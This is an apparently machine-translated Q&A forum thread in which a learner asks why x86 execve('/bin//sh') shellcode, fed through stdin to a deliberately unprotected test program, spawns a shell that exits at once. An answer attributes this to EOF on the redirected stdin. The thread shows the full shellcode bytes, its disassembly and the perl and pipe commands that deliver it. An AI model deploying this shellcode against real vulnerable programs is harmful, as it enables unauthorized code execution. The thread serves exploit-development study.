2017-10-18 81 views
0

我將序言說我做了研究,但找不到我的基本問題的答案。從shellcode發起的shell立即停止啓動

我想通過基本程序從shellcode啓動一個shell。 這是使用的shellcode,那現在應該工作:

0: 31 c0     xor eax, eax 
2: 50      push eax 
3: 68 2f 2f 73 68   push 0x68732f2f 
8: 68 2f 62 69 6e   push 0x6e69622f 
d: 89 e3     mov ebx, esp 
f: 50      push eax 
10: 53      push ebx 
11: 89 e1     mov ecx, esp 
13: b0 0b     mov al, 0xb 
15: 31 d2     xor edx, edx 
17: cd 80     int 0x80 

奇怪的是這個shellcode的是,像這樣使用時的工作:

char *shellcode = "\x31[...]x80"; 
int main(void) 
{ 
    (*(void(*)()) shellcode)(); 
    return 0; 
} 

但不能與該程序從標準輸入讀取時(編譯以下標誌:

gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack): 

代碼:

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    ((func)&input)(); 
    return 0; 
} 

第二個程序會發生什麼情況,程序只是退出,沒有錯誤代碼,也沒有生成shell。

strace的顯示我在第二個程序,一個shell正確啓動:

read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26 
execve("/bin//sh", ["/bin//sh"], NULL) = 0 
strace: [ Process PID=3139 runs in 64 bit mode. ] 

但此行接近尾聲是非常可疑,因爲我沒有要求做任何事:

read(0, "", 8192)      = 0 

看來,我發送一個空字節以某種方式生成的shell,它殺死了它。我第一次,雖然說我沒有正確設置我的shellcode的文件,但這些都是我用命令:

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin 
./vuln < payload.bin 

我也是用這個命令嘗試,但得到了同樣的結果:

perl -e 'print "[...]" | ./vuln 

我還檢查了文件中的字符,但文件重量爲25 oct。對於相同大小的shellcode,所以這不應該是問題。

我使用正確的方式給stdin提供shellcode還是有另一種方式? 如果不是,問題從哪裏來?

感謝

回答

0

的問題是,在第二個程序,你重定向標準輸入到管道。產生的shell嘗試從管道讀取數據,獲取EOF,然後退出。

在運行shellcode之前,您可以將標準輸入重定向回終端。

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    freopen("/dev/tty", "r", stdin); 
    ((func)&input)(); 
    return 0; 
} 
+0

我忘了在編譯第二個代碼時使用的標記,它們與鏈接文章中的標記相同。另外,第二個程序在關閉它之前似乎啓動了一個shell,因爲從stdin讀取了空字符,所以如果我沒有錯誤(也禁用ASLR),執行預防不應該成爲問題。 – mat

+0

我改變了我的答案。 – Barmar

+0

感謝您的回答!但我確實有一個問題:我試圖產生一個shell的程序是一個練習,不能改變:p所以我嘗試使用esle而不是重定向stdin:cat payload | ./vuln。然而,這在我的情況下不起作用,我也不知道如何用gdb/strace調試它來查看發生了什麼。我嘗試瞭解決方案給我這個線程https://stackoverflow.com/q/1456253/8797854但我仍然遇到同樣的問題。任何想法 ? – mat